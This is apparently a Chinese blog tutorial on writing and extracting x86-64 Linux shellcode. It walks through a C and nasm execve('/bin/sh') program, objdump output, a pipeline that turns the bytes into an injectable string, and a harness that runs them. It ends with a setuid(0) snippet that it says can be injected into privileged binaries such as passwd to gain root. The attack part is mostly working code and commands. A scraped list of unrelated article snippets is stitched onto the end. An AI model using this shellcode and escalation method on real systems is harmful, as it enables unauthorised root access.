1.使用C语言编写一个获得系统Shell的小程序。

#include <unistd.h>int main()
{char * shell[2];shell[0]="/bin/sh";shell[1]=NULL;execve(shell[0],shell,NULL);
}

编译并运行后,能够回弹Shell

[root@localhost ~]# gcc -c lyshark.c
[root@localhost ~]# gcc -o shell lyshark.o
[root@localhost ~]# ./shell
sh-4.2# ls

如果需要提取shellcode的话应该使用汇编来写提权代码,如下代码就是一段提权代码。64位系统堆栈结构已经变得和32位大不相同了

[root@localhost ~]# vim shell.Ssection .textglobal _start_start:push raxxor rdx, rdxxor rsi, rsimov rbx,'/bin//sh'push rbxpush rsppop rdimov al, 59syscall

编译并运行,此处使用nasm 编译

[root@localhost ~]# yum install -y nasm
[root@localhost ~]# nasm -f elf64 shell.S -o shell.o
[root@localhost ~]# ld shell.o -o shell
[root@localhost ~]# ./shell
[root@localhost root]# ls

发现能够获取到Root目录的权限,接着直接查询生成的机器码。

[root@localhost ~]# objdump -d shell
shell:     file format elf64-x86-64
Disassembly of section .text:0000000000400080 <_start>:400080:       50                      push   %rax400081:       48 31 d2                xor    %rdx,%rdx400084:       48 31 f6                xor    %rsi,%rsi400087:       48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx40008e:       2f 73 68400091:       53                      push   %rbx400092:       54                      push   %rsp400093:       5f                      pop    %rdi400094:       b0 3b                   mov    $0x3b,%al400096:       0f 05                   syscall

直接使用sed工具过滤出这些东西,如下,非常简单。

[root@localhost ~]# objdump -d shell | grep "[0-9a-f]" | grep -v "file" | cut -f2 -d: \
| cut -f1-6 -d' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g' | paste -d '' -s | \sed 's/^/"/' | sed 's/$/"/g'"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

接着就是测试这段代码的可用性了,如下代码;

#include <stdio.h>
#include <string.h>char *shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";int main(void)
{fprintf(stdout,"Length: %d\n",strlen(shellcode));(*(void(*)()) shellcode)();return 0;
}

代码提权思路,下面这段代码配合 chmod u+s 权限的设置,可以提权,我们可以将这段代码的汇编格式提取出来,然后将其注入到passwd等具有特权指令的目录下,然后就能完成权限的提升了。

#include <stdio.h>
int main(){
setuid(0);
execve("/bin/sh",NULL,NULL);
}gcc -m64 -z execstack -fno-stack-protector -o

Linux 系统下提取 ShellCode相关推荐

  1. c得到当前时分秒 linux_Linuxc - Linux系统下的时间知识点

    Unix/Linux系统下的时间知识点 一.Unix/Linux系统的几种时间结构: 1.time_t 类型: 长整型,一般用来表示从1970-01-01 00:00:00时以来的秒数,精确度:秒: ...

  2. [译] APT分析报告:01.Linux系统下针对性的APT攻击概述

    这是作者新开的一个专栏,主要翻译国外知名的安全厂商APT报告文章,了解它们的安全技术,学习它们溯源APT组织的方法,希望对您有所帮助.第一篇文章主要分享Linux系统下针对性的APT攻击及技术要点,并 ...

  3. linux系统tar命令慢,Linux系统下tar命令的使用技巧

    <Linux系统下tar命令的使用技巧>由会员分享,可在线阅读,更多相关<Linux系统下tar命令的使用技巧(3页珍藏版)>请在装配图网上搜索. 1.Linux系统下tar命 ...

  4. python在windows和linux系统下批量读取grib2数据

    python在windows系统和linux系统读取grib或者grib2数据所用的库不一样,下面分别细说. 1.python在linux系统下批量读取grib或grib2数据 linux系统对pyt ...

  5. linux的常用备份方法,Linux系统下常用的数据备份方法

    Linux系统下常用的数据备份方法 发布时间:2009-10-28 15:11:36来源:红联作者:szlfeng Linux系统下常用的数据备份方法 1.本机上数据的手工备份 Linux系统上配有功 ...

  6. 如何解压服务器系统,如何解压Linux系统下的zip文件

    如何解压Linux系统下的zip文件 发布时间:2020-08-10 09:28:56 来源:亿速云 阅读:76 作者:Leah 这期内容当中小编将会给大家带来有关如何解压Linux系统下的zip文件 ...

  7. scala linux 环境配置,LINUX系统下Java和Scala的环境配置

    最近,笔者在研究一个有关"自然语言处理"的项目,在这个项目中,需要我们用Spark进行编程.而Spark内核是由Scala语言开发的,所以在使用Spark之前,我们必须配置好Sca ...

  8. linux下去ldap数据,Linux系统下要如何修改LDAP中的数据

    在天下网吧-网吧系统-网吧天下栏目上一篇文章中,我们看到了:希望对各位网吧网管或者网吧维护,做网吧系统的各位大大有用,那么今天我们一起来看下:Linux系统下要如何修改LDAP中的数据 在之前的文章中 ...

  9. 如何在Linux系统下安装英特尔® Arc™系列独立显卡驱动以及进行AI推理性能测试...

    点击蓝字 关注我们,让开发变得更有趣 作者 | 周兆靖 排版 | 李擎 如何在Linux系统下安装英特尔® Arc™系列 独立显卡驱动以及进行AI推理性能测试 目录 1.本文目的 2.Linux 系统 ...

最新文章

  1. OpenCV 获取并修改图中的像素点
  2. Matlab中的CVX工具包安装
  3. C语言二级指针内存模型建立
  4. nodejs+webpack+vue以及npm安装对应的库
  5. WAMP下解决localhost可以访问但IP地址无法访问的问题
  6. nginx 支持php扩展,Nginx和php安装及配置五之LINUX用PHPIZE安装PHP GD扩展
  7. eclipse中使用Lombok(转)
  8. php 学习笔记之日期时间操作一箩筐
  9. N卡驱动版本与NVCUDA驱动版本和CUDA toolkit的关系
  10. html化学式编辑器,化学反应方程式编辑器软件(ChemDraw Pro)
  11. Python数据分析练习(一)(餐厅订单分析meal_order_detail)
  12. 计算机 64虚拟内存设置方法,计算机虚拟内存怎样设置
  13. c# 十六进制数据转十六进制字符串
  14. 教你炒股票25:吻,MACD、背弛、中枢
  15. 围成面积(信息学奥赛一本通 - T1359)
  16. 新氧科技CEO金星直播背后:助推产业线上化,打造医美“新基建”
  17. 益聚星荣|网络主播雪梨、林珊珊偷逃税被罚,2个月前已进行立案检查
  18. 日常(魔鬼本鬼又来了)
  19. linux pam 使用例子,PAM认证模块使用实例
  20. MATLAB数学建模必备算法--层次分析法AHP

热门文章

  1. 以科技赋能,跨越速运助推企业升级发展
  2. 在Word 2007中启用或禁用Office加载项
  3. expdp和impdp用法,备份oracle库
  4. 我在红杉资本学到了什么?
  5. 有了这些框架的构成,才是真正的数字化工厂
  6. 个人云盘NextCloud部署方案
  7. Word2Vec语言模型训练和使用
  8. IE11 for Windows 7 Enterprise With SP1 故障
  9. 什么软件可以投屏电脑?最好的手机投屏软件
  10. 英飞凌IGBT驱动芯片2ED020I12F2去饱和电路设计总结整理收集